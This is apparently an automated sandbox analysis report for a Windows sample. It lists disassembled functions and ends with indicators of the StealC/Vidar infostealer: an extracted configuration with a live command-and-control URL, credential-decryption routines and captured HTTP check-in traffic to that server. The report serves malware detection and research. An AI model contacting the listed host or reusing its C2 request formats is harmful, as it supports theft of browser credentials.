APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CAAF20E,?), ref: 6CAE3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CAAF20E,00000000,?), ref: 6CAE3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAE3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CAE3E0E

Part of subcall function 6CADCC00: GetCurrentProcess.KERNEL32(?,?,6CAA31A7), ref: 6CADCC0D
Part of subcall function 6CADCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CAA31A7), ref: 6CADCC16

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 4bb5f23bae32a66c9a2e8664772eb1d3de6d71a9a7a378060a6636690e05dd47
Instruction ID: f4e20cbd0332ee7e68bdd338cb959db700ec70dd95cd4a70677fb6dafefb06b3
Opcode Fuzzy Hash: 4bb5f23bae32a66c9a2e8664772eb1d3de6d71a9a7a378060a6636690e05dd47
Instruction Fuzzy Hash: 84F01CB1A002087BEB00AB54EC81DBB376DEB46628F050020FE0957741DA39BE6996F7

Function 00B092E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00B03AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00B03AEE,?), ref: 00B092FC
GetFileSizeEx.KERNEL32(000000FF,00B03AEE), ref: 00B09319
CloseHandle.KERNEL32(000000FF), ref: 00B09327

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: f2970477d29a2576ff4cf8cc4b632655c4b3b223be08e3c43f75dc224af96302
Instruction ID: f5af8a5760cb92001509cce948e2d592e9e62174882b8c89b4d7e802190d3ad6
Opcode Fuzzy Hash: f2970477d29a2576ff4cf8cc4b632655c4b3b223be08e3c43f75dc224af96302
Instruction Fuzzy Hash: F8F01475F44208ABDB10DBA4DC89B9E7BF9AB48760F108294AA91A72C0D670AA018F54

Function 00B0C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00B0C74E

Part of subcall function 00B0BF9F: __amsg_exit.LIBCMT ref: 00B0BFAF

__getptd.LIBCMT ref: 00B0C765
__amsg_exit.LIBCMT ref: 00B0C773
__updatetlocinfoEx_nolock.LIBCMT ref: 00B0C797

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 96b09a4e0e71d7a34a07661857f40a305aeb0d0545ec37ef7e9b9dcf42eb9b9c
Instruction ID: 77888505740b0cf2c37349120b5443db02dc108f8b96bb82894f1b5056085a74
Opcode Fuzzy Hash: 96b09a4e0e71d7a34a07661857f40a305aeb0d0545ec37ef7e9b9dcf42eb9b9c
Instruction Fuzzy Hash: 41F09A329403019BD721BBB89806F8E3FE0AF00720F6082C9F415E72D2DF645D419E5A

Function 6CAF85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CAF85D3

Part of subcall function 6CABCA10: malloc.MOZGLUE(?), ref: 6CABCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CAF8725

Strings

map/set<T> too long, xrefs: 6CAF8720

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 69bfa43781e75c03c52d7e3bb6ad1beb9d6e2ef640de1f6adb1df464f7909dcf
Instruction ID: 3dc3fe9db089b520131551ff6f43edb29854660a136ff22f42e354ca45105a8a
Opcode Fuzzy Hash: 69bfa43781e75c03c52d7e3bb6ad1beb9d6e2ef640de1f6adb1df464f7909dcf
Instruction Fuzzy Hash: A25167746046818FD741CF1AC184B99BBF1BF4A318F18C19AE8695BB52C335F886CF91

Function 6CAE3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAE3D19
mozalloc_abort.MOZGLUE(?), ref: 6CAE3D6C

Strings

d, xrefs: 6CAE3D58

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: e543cab944f302ef0362e082f8a4eace367d96cdb61960366584def6b7fc0568
Instruction ID: aeee38e8372f2b696c83ee1b01bb4df266662dec67b33b389a9bb51bda013341
Opcode Fuzzy Hash: e543cab944f302ef0362e082f8a4eace367d96cdb61960366584def6b7fc0568
Instruction Fuzzy Hash: 58113431E04688D7DF018B6AC8554FDB375EF9A218B498618DC849BA22FB34A5C8C3D0

Function 6CB06DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CB06E22
__Init_thread_footer.LIBCMT ref: 6CB06E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CB06E1D

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 7915c9a92da25990531da33111ddfb3de786ee4445bcfeab38e4235602fdc31c
Instruction ID: 2aa1d6554739e53892e89699138ef5d19eaea87dcc70b9707aff371d581ae9b2
Opcode Fuzzy Hash: 7915c9a92da25990531da33111ddfb3de786ee4445bcfeab38e4235602fdc31c
Instruction Fuzzy Hash: 48F0B4757053C08BEB028B68CA50EB67B72D713628F040165C80547F51D739F986CB93

Function 6CAFB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CAFB2C9,?,?,?,6CAFB127,?,?,?,?,?,?,?,?,?,6CAFAE52), ref: 6CAFB628

Part of subcall function 6CAF90E0: free.MOZGLUE(?,00000000,?,?,6CAFDEDB), ref: 6CAF90FF
Part of subcall function 6CAF90E0: free.MOZGLUE(?,00000000,?,?,6CAFDEDB), ref: 6CAF9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CAFB2C9,?,?,?,6CAFB127,?,?,?,?,?,?,?,?,?,6CAFAE52), ref: 6CAFB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CAFB2C9,?,?,?,6CAFB127,?,?,?,?,?,?,?,?,?,6CAFAE52), ref: 6CAFB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CAFB127,?,?,?,?,?,?,?,?), ref: 6CAFB74D

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 66c89ce71cb1ca7c3ee4803cc7033a1573fad4d19dfe1504a4a3e421ddfdb4ac
Instruction ID: 7a3f1f140324f804f12c959d2b7ec8353c9569452149d77b568898a29918078e
Opcode Fuzzy Hash: 66c89ce71cb1ca7c3ee4803cc7033a1573fad4d19dfe1504a4a3e421ddfdb4ac
Instruction Fuzzy Hash: B751E471A02215CFDB14CF18E9807AEB7B5FF45304F09862DE86AA7700D731E886CB91

Function 6CB0B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CAB0A4D), ref: 6CB0B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CAB0A4D), ref: 6CB0B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CAB0A4D), ref: 6CB0B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CAB0A4D), ref: 6CB0B67F

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: e447b424f537d45496b7c190f9811923baef342af7fb1b7798c545a5bf2e4486
Instruction ID: 617cdefaaa2bed18f5928248670aebe666acbf2c60e421179af99a2557845a1d
Opcode Fuzzy Hash: e447b424f537d45496b7c190f9811923baef342af7fb1b7798c545a5bf2e4486
Instruction Fuzzy Hash: D131C671B012168FEB10CF58C8546AAFBF9FF81314F168569C80A9B701DB31E915CBE1

Function 6CADF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CADF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CADF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CADF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CADF668

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 21698114f0672212db1f357e6c59acb5b2afa269898c8912ecfcc172cb4e2aa8
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 07314D71A00254AFC714CF6DDCC4A9F7BB9EB84354B18853DFA4A8BB04D631F9848B90

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php3	URL Reputation: Label: malware

Source: 1.2.file.exe.af0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 1.2.file.exe.af0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00AF9B60 CryptUnprotectData,LocalAlloc,LocalFree,	1_2_00AF9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00AFC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	1_2_00AFC820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00AF9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_00AF9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00AF7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	1_2_00AF7240
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00B08EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	1_2_00B08EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAB6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	1_2_6CAB6C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49711 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49711 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.6:49711
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49711 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.6:49711
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49711 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDGHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 44 30 45 34 37 45 34 43 44 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="hwid"7D0E47E4CD7B1953448019------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="build"doma------JECBGCFHCFIDHIDHDGDG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAECFHJEBAAFIEBGHIIEHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 48 4a 45 42 41 41 46 49 45 42 47 48 49 49 45 2d 2d 0d 0a Data Ascii: ------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------BAECFHJEBAAFIEBGHIIEContent-Disposition: form-data; name="message"browsers------BAECFHJEBAAFIEBGHIIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHCAKKEGCAAFHJJJDBKHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="message"plugins------EGHCAKKEGCAAFHJJJDBK--
